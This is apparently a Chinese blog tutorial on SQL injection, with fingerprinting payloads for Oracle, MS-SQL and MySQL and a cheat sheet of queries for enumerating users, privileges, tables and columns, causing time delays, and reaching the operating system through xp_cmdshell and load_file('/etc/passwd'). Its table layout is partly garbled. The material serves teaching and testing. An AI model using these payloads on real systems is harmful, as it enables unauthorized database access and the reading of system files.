SQL注入

1.简介

解释型语言是一种在运行时由一个运行时组件解释语言代码并执行其中包含的指令的语言。
编译型语言是一种代码在生成的时候转换成机器指令,然后在运行时直接由使用该语言的计算机处理器执行这些指令。
基于解释型语言的执行方式,产生了一系列叫做代码注入的漏洞。解释器处理的数据实际上是由程序员编写的代码和用户提交的数据共同组成的。当用户输入被解释成程序指令执行时,就造成了注入。
在编译型语言中注入的有效载荷为机器代码。
SQL是一种解释性语言,Web应用程序经常建立合并用户提交的数据的SQL语句,如果建立语句的方法不安全,那么应用程序就会易于收到SQL注入攻击。

2.注入流程

2.1 “指纹”识别数据库

1.注入位置为字符串时,使用字符串连接方法

  • Oracle: ‘serv’ || ‘ices’
  • MS_SQL:‘serv’ + ‘ices’
  • MySQL:‘serv’ ‘ices’ [注意中间有空格]

2.注入位置为数字时,使用求值

  • Oracle: BITAND(1,1)-BITAND(1,1)
  • MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
  • MySQL:CONNECTION_ID()-CONNECTION_ID()

3.MySQL内联注释

MySQL处理注释时,如果一个注释以感叹号开头,接着是数据库版本字符串,那么只有数据库的实际版本等于或高于那个字符串,应用程序就会将注释内容解释为SQL;否则应用程序会忽略注释内容。

/*!32302 and 1=0*/      #若MySQL版本高于或等等于3.23.02时,其中的字符串会使SELECT语句的WHERE子句为假

2.2 常用SQL语法

操作OracleMS-SQLMySQL
获取当前数据库用户SELECT Sys.login_user from dual
SELECT user FROM dual
SYS_CONTEXT(‘USERENV’,‘SESSION_USER’)
select suser_sname()SELECT user()
引起时间延迟Utl_http.request(‘http://example.com’)waitfor delay '0:0:10’
exec master…xp_cmdshell ‘ping localhost’
sleep(10)
获取数据库版本字符串select banner from v$versionselect @@versionselect @@version
获取当前数据库SELECT SYS_CONTEXT(‘USERENV’,‘DB_NAME’) FROM DUALselect db_name()
获取服务器名称:select @@servername
select database()
获取当前用户权限select privilege from session_privsselect grantee,table_name,privilege_type from information_schema,table_privilegesselect * from information_schema.user_privileges where grantee = ‘[user’]
显示用户表select object_name,object_type from user_objects where object_type='TABLE’
显示用户的所有表:select table_name from all_tables
select name from sysobjects where xtype=‘U’select table_name from information_schema.tables where table_type=‘BASE TABLE’ and table_schema!=‘mysql’
显示列名称select column_name,name from user_table_columns where table_name = ‘FOO’select column_name from information_schema.columns where table_name=‘foo’select column_name from information_schema.columns where table_name =‘foo’
与操作系统交互*exec xp_cmdshell ‘dir c:’select load_file(’/etc/passwd’)
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值